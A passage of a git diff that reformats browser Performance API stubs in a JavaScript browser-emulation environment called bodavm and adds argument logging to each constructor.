bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "now", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "setResourceTimingBufferSize", { + configurable: true, + enumerable: true, + writable: true, + value: function setResourceTimingBufferSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "setResourceTimingBufferSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "toJSON", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "timing", { + configurable: true, + enumerable: true, + get: function timing() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "timing_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "navigation", { + configurable: true, + enumerable: true, + get: function navigation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "navigation_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "memory", { + configurable: true, + enumerable: true, + get: function memory() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "memory_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Performance', "eventCounts", { + configurable: true, + enumerable: true, + get: function eventCounts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Performance'].prototype, "Performance", "eventCounts_get", arguments); + }, + set: undefined +}, 'prototype'); + +// performance对象 + +bodavm.memory.globalobj['performance'] = { + _boisinit: bodavm.config.isinit +}; +bodavm.memory.globalobj['performance'].__proto__ = bodavm.memory.globalobj['Performance'].prototype; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceElementTiming.js b/env_xbb_lastest_jsdom/env/PerformanceElementTiming.js index 43cfd5b2..35e2ee61 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceElementTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceElementTiming.js @@ -1,15 +1,99 @@ -// PerformanceElementTiming对象 -bodavm.memory.globalobj['PerformanceElementTiming'] = function PerformanceElementTiming(){if (!(this instanceof PerformanceElementTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceElementTiming'], "PerformanceElementTiming"); -bodavm.memory.globalobj['PerformanceElementTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceElementTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "renderTime", {configurable:true, enumerable:true, get:function renderTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "renderTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "loadTime", {configurable:true, enumerable:true, get:function loadTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "loadTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "intersectionRect", {configurable:true, enumerable:true, get:function intersectionRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "intersectionRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "identifier", {configurable:true, enumerable:true, get:function identifier (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "identifier_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalWidth", {configurable:true, enumerable:true, get:function naturalWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalHeight", {configurable:true, enumerable:true, get:function naturalHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "element", {configurable:true, enumerable:true, get:function element (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "element_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "toJSON", arguments)}},'prototype'); +// PerformanceElementTiming对象 + +bodavm.memory.globalobj['PerformanceElementTiming'] = function PerformanceElementTiming() { + console.log_copy('PerformanceElementTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceElementTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceElementTiming'], "PerformanceElementTiming"); +bodavm.memory.globalobj['PerformanceElementTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceElementTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "renderTime", { + configurable: true, + enumerable: true, + get: function renderTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "renderTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "loadTime", { + configurable: true, + enumerable: true, + get: function loadTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "loadTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "intersectionRect", { + configurable: true, + enumerable: true, + get: function intersectionRect() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "intersectionRect_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "identifier", { + configurable: true, + enumerable: true, + get: function identifier() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "identifier_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalWidth", { + configurable: true, + enumerable: true, + get: function naturalWidth() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalWidth_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "naturalHeight", { + configurable: true, + enumerable: true, + get: function naturalHeight() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "naturalHeight_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "element", { + configurable: true, + enumerable: true, + get: function element() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "element_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "url", { + configurable: true, + enumerable: true, + get: function url() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "url_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceElementTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceElementTiming'].prototype, "PerformanceElementTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceEntry.js b/env_xbb_lastest_jsdom/env/PerformanceEntry.js index a806a338..e66b4ea1 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceEntry.js +++ b/env_xbb_lastest_jsdom/env/PerformanceEntry.js @@ -1,8 +1,57 @@ -// PerformanceEntry对象 -bodavm.memory.globalobj['PerformanceEntry'] = function PerformanceEntry(){if (!(this instanceof PerformanceEntry)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEntry'], "PerformanceEntry"); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "name", {configurable:true, enumerable:true, get:function name (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "name_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "entryType", {configurable:true, enumerable:true, get:function entryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "entryType_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "startTime", {configurable:true, enumerable:true, get:function startTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "startTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEntry', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "toJSON", arguments)}},'prototype'); +// PerformanceEntry对象 + +bodavm.memory.globalobj['PerformanceEntry'] = function PerformanceEntry() { + console.log_copy('PerformanceEntry 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceEntry)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEntry'], "PerformanceEntry"); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "name", { + configurable: true, + enumerable: true, + get: function name() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "name_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "entryType", { + configurable: true, + enumerable: true, + get: function entryType() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "entryType_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "startTime", { + configurable: true, + enumerable: true, + get: function startTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "startTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEntry', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEntry'].prototype, "PerformanceEntry", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceEventTiming.js b/env_xbb_lastest_jsdom/env/PerformanceEventTiming.js index ecf6b8ce..0fe24b49 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceEventTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceEventTiming.js @@ -1,11 +1,67 @@ -// PerformanceEventTiming对象 -bodavm.memory.globalobj['PerformanceEventTiming'] = function PerformanceEventTiming(){if (!(this instanceof PerformanceEventTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEventTiming'], "PerformanceEventTiming"); -bodavm.memory.globalobj['PerformanceEventTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceEventTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingStart", {configurable:true, enumerable:true, get:function processingStart (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingStart_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingEnd", {configurable:true, enumerable:true, get:function processingEnd (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingEnd_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "cancelable", {configurable:true, enumerable:true, get:function cancelable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "cancelable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "interactionId", {configurable:true, enumerable:true, get:function interactionId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "interactionId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "toJSON", arguments)}},'prototype'); +// PerformanceEventTiming对象 + +bodavm.memory.globalobj['PerformanceEventTiming'] = function PerformanceEventTiming() { + console.log_copy('PerformanceEventTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceEventTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceEventTiming'], "PerformanceEventTiming"); +bodavm.memory.globalobj['PerformanceEventTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceEventTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingStart", { + configurable: true, + enumerable: true, + get: function processingStart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingStart_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "processingEnd", { + configurable: true, + enumerable: true, + get: function processingEnd() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "processingEnd_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "cancelable", { + configurable: true, + enumerable: true, + get: function cancelable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "cancelable_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "target", { + configurable: true, + enumerable: true, + get: function target() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "target_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "interactionId", { + configurable: true, + enumerable: true, + get: function interactionId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "interactionId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceEventTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceEventTiming'].prototype, "PerformanceEventTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceLongTaskTiming.js b/env_xbb_lastest_jsdom/env/PerformanceLongTaskTiming.js index 52619052..e20a0a5e 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceLongTaskTiming.js +++ b/env_xbb_lastest_jsdom/env/PerformanceLongTaskTiming.js @@ -1,7 +1,35 @@ -// PerformanceLongTaskTiming对象 -bodavm.memory.globalobj['PerformanceLongTaskTiming'] = function PerformanceLongTaskTiming(){if (!(this instanceof PerformanceLongTaskTiming)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceLongTaskTiming'], "PerformanceLongTaskTiming"); -bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceLongTaskTiming'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "attribution", {configurable:true, enumerable:true, get:function attribution (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "attribution_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "toJSON", arguments)}},'prototype'); +// PerformanceLongTaskTiming对象 + +bodavm.memory.globalobj['PerformanceLongTaskTiming'] = function PerformanceLongTaskTiming() { + console.log_copy('PerformanceLongTaskTiming 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceLongTaskTiming)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceLongTaskTiming'], "PerformanceLongTaskTiming"); +bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceLongTaskTiming'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "attribution", { + configurable: true, + enumerable: true, + get: function attribution() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "attribution_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('PerformanceLongTaskTiming', "toJSON", { + configurable: true, + enumerable: true, + writable: true, + value: function toJSON() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceLongTaskTiming'].prototype, "PerformanceLongTaskTiming", "toJSON", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceMark.js b/env_xbb_lastest_jsdom/env/PerformanceMark.js index a2cb1f21..57e2d96c 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceMark.js +++ b/env_xbb_lastest_jsdom/env/PerformanceMark.js @@ -1,6 +1,27 @@ -// PerformanceMark对象 -bodavm.memory.globalobj['PerformanceMark'] = function PerformanceMark(){if (!(this instanceof PerformanceMark)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceMark': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMark'], "PerformanceMark"); -bodavm.memory.globalobj['PerformanceMark'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceMark'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceMark', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMark'].prototype, "PerformanceMark", "detail_get", arguments)}, set:undefined},'prototype'); +// PerformanceMark对象 + +bodavm.memory.globalobj['PerformanceMark'] = function PerformanceMark() { + console.log_copy('PerformanceMark 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceMark)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PerformanceMark': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMark'], "PerformanceMark"); +bodavm.memory.globalobj['PerformanceMark'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceMark'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceMark', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMark'].prototype, "PerformanceMark", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceMeasure.js b/env_xbb_lastest_jsdom/env/PerformanceMeasure.js index 4672f346..a9a47caf 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceMeasure.js +++ b/env_xbb_lastest_jsdom/env/PerformanceMeasure.js @@ -1,6 +1,27 @@ -// PerformanceMeasure对象 -bodavm.memory.globalobj['PerformanceMeasure'] = function PerformanceMeasure(){if (!(this instanceof PerformanceMeasure)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMeasure'], "PerformanceMeasure"); -bodavm.memory.globalobj['PerformanceMeasure'].prototype.__proto__=bodavm.memory.globalobj['PerformanceEntry'].prototype; -bodavm.memory.globalobj['PerformanceMeasure'].__proto__=bodavm.memory.globalobj['PerformanceEntry']; -bodavm.toolsFunc.defineProperty('PerformanceMeasure', "detail", {configurable:true, enumerable:true, get:function detail (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMeasure'].prototype, "PerformanceMeasure", "detail_get", arguments)}, set:undefined},'prototype'); +// PerformanceMeasure对象 + +bodavm.memory.globalobj['PerformanceMeasure'] = function PerformanceMeasure() { + console.log_copy('PerformanceMeasure 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceMeasure)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceMeasure'], "PerformanceMeasure"); +bodavm.memory.globalobj['PerformanceMeasure'].prototype.__proto__ = bodavm.memory.globalobj['PerformanceEntry'].prototype; +bodavm.memory.globalobj['PerformanceMeasure'].__proto__ = bodavm.memory.globalobj['PerformanceEntry']; +bodavm.toolsFunc.defineProperty('PerformanceMeasure', "detail", { + configurable: true, + enumerable: true, + get: function detail() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceMeasure'].prototype, "PerformanceMeasure", "detail_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/PerformanceNavigation.js b/env_xbb_lastest_jsdom/env/PerformanceNavigation.js index 0c8e6e53..cc324875 100644 --- a/env_xbb_lastest_jsdom/env/PerformanceNavigation.js +++ b/env_xbb_lastest_jsdom/env/PerformanceNavigation.js @@ -1,14 +1,89 @@ -// PerformanceNavigation对象 -bodavm.memory.globalobj['PerformanceNavigation'] = function PerformanceNavigation(){if (!(this instanceof PerformanceNavigation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigation'], "PerformanceNavigation"); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", {configurable:false, enumerable:true, writable:false, value:255}); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "redirectCount", {configurable:true, enumerable:true, get:function redirectCount (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "redirectCount_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_BACK_FORWARD", {configurable:false, enumerable:true, writable:false, value:2},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RESERVED", {configurable:false, enumerable:true, writable:false, value:255},'prototype'); -bodavm.toolsFunc.defineProperty('PerformanceNavigation', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PerformanceNavigation'].prototype, "PerformanceNavigation", "toJSON", arguments)}},'prototype'); +// PerformanceNavigation对象 + +bodavm.memory.globalobj['PerformanceNavigation'] = function PerformanceNavigation() { + console.log_copy('PerformanceNavigation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof PerformanceNavigation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PerformanceNavigation'], "PerformanceNavigation"); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_NAVIGATE", { + configurable: false, + enumerable: true, + writable: false, + value: 0 +}); +bodavm.toolsFunc.defineProperty('PerformanceNavigation', "TYPE_RELOAD", { + configurable: false, + enumerable: 